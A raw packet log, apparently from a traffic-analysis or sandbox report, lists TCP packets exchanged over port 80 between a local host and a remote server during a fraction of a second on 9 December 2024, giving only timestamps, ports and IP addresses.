Dec 9, 2024 23:09:11.764342070 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.764384031 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.764427900 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.764472008 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.765398026 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.765444040 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.765446901 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.765487909 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.766443968 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.766489983 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.766587973 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.766633034 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.767544031 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.767587900 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.767739058 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.767781019 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.768624067 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.768666983 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.768696070 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.768740892 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.769773006 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.769823074 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.769834995 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.769875050 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.770940065 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.770983934 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.771119118 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.771162987 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.772134066 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.772180080 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.772264957 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.772308111 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.773343086 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.773387909 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.773396969 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.773438931 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.774717093 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.774758101 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.774785995 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.774831057 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.775969982 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.776014090 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.776151896 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.776195049 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.777157068 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.777215958 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.777283907 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.777323961 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.778214931 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.778251886 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.778331041 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.778368950 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.779133081 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.779181004 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.779210091 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.779249907 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.780143023 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.780194044 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.780275106 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.780318022 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.781013966 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.781059027 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.781114101 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.781157017 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.781708002 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.781753063 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.781770945 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.781826019 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.782733917 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.782778978 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.782810926 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.782855034 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.783898115 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.783937931 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.783955097 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.783997059 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.784885883 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.784931898 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.784950972 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.784993887 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.785969019 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.786012888 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.786042929 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.786087990 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.787076950 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.787130117 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.787213087 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.787272930 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.788240910 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.788285971 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.788364887 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.788409948 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.789297104 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.789339066 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.789443970 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.789496899 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.790374994 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.790422916 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.790441036 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.790494919 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.791412115 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.791454077 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.791507959 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.791552067 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.792645931 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.792687893 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.792712927 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.792751074 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.793605089 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.793648958 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.793728113 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.793771029 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.794662952 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.794704914 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.794883013 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.794924021 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.795782089 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.795838118 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.795857906 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.795897961 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.919845104 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.919892073 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.920023918 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.920023918 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.920378923 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.920430899 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.920547009 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.920594931 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.921457052 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.921503067 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.921555996 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.921600103 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.922528982 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.922574997 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.922600985 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.922661066 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.923634052 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.923685074 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.923728943 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.923774958 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.924727917 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.924788952 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.924840927 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.924889088 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.925765991 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.925808907 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.925848007 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.925898075 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.938772917 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.938823938 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.938967943 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.939105034 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.939292908 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.939336061 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.939435005 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.939476013 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.940365076 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.940411091 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.940489054 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.940532923 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.941473007 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.941518068 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.941572905 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.941616058 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.942503929 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.942552090 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.942636013 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.942691088 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.943612099 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.943659067 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.943713903 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.943757057 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.944709063 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.944756031 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.944818974 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.944881916 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.945786953 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.945828915 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.945832014 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.945863962 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.946873903 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.946922064 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.946949005 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.946990013 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.948029041 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.948070049 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.948086977 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.948151112 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.949050903 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.949096918 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.949248075 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.949291945 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.950123072 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.950164080 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.950170040 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.950203896 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.951251984 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.951297998 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.951376915 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.951421022 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.952317953 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.952373028 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.952403069 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.952446938 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.953376055 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.953421116 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.953488111 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.953532934 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.954462051 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.954508066 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.954591036 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.954633951 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.955538988 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.955600023 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.955754995 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.955800056 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.956641912 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.956686974 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.956712961 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.956759930 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.957710981 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.957758904 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.957874060 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.957918882 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.958811998 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.958858967 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.958889961 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.958934069 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.960052967 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.960103035 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.960134983 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.960180998 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.960978985 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.961029053 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.961064100 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.961110115 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.962066889 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.962105989 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.962187052 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.962233067 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.963243008 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.963290930 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.963299036 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.963346004 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.964224100 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.964272976 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.964390993 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.964433908 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.965332031 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.965378046 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.965481997 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.965528011 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.966509104 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.966562986 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.966726065 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.966773987 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.967466116 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.967514038 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.967540026 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.967588902 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.968566895 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.968628883 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.968700886 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.968749046 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.969674110 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.969728947 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.969785929 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.969827890 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.970741987 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.970791101 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.970875025 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.970920086 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.971848011 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.971896887 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.971929073 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.971977949 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.973037004 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.973087072 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.973092079 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.973135948 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.974020004 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.974072933 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.974153042 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.974203110 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.975136995 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.975183964 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.975210905 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.975275993 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.976176023 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.976228952 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.976281881 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.976349115 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.977262020 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.977309942 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.977438927 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.977489948 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.978380919 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.978434086 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.978480101 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.978528023 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.979531050 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.979577065 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.979739904 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.979792118 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.980601072 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.980648994 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.980705976 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.980777025 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.981580973 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.981630087 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.981642962 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.981693983 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.982692957 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.982733965 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.982800961 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.982847929 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.983766079 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.983814001 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.983887911 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.983933926 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.984850883 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.984896898 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.984972000 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.985021114 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.985917091 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.985964060 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.986084938 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.986129045 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.987082958 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.987152100 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.987232924 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.987282991 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.988063097 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.988111973 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.112015963 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.112092972 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.112106085 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.112159967 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.112392902 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.112440109 CET	49770	80	192.168.2.4	185.215.113.16
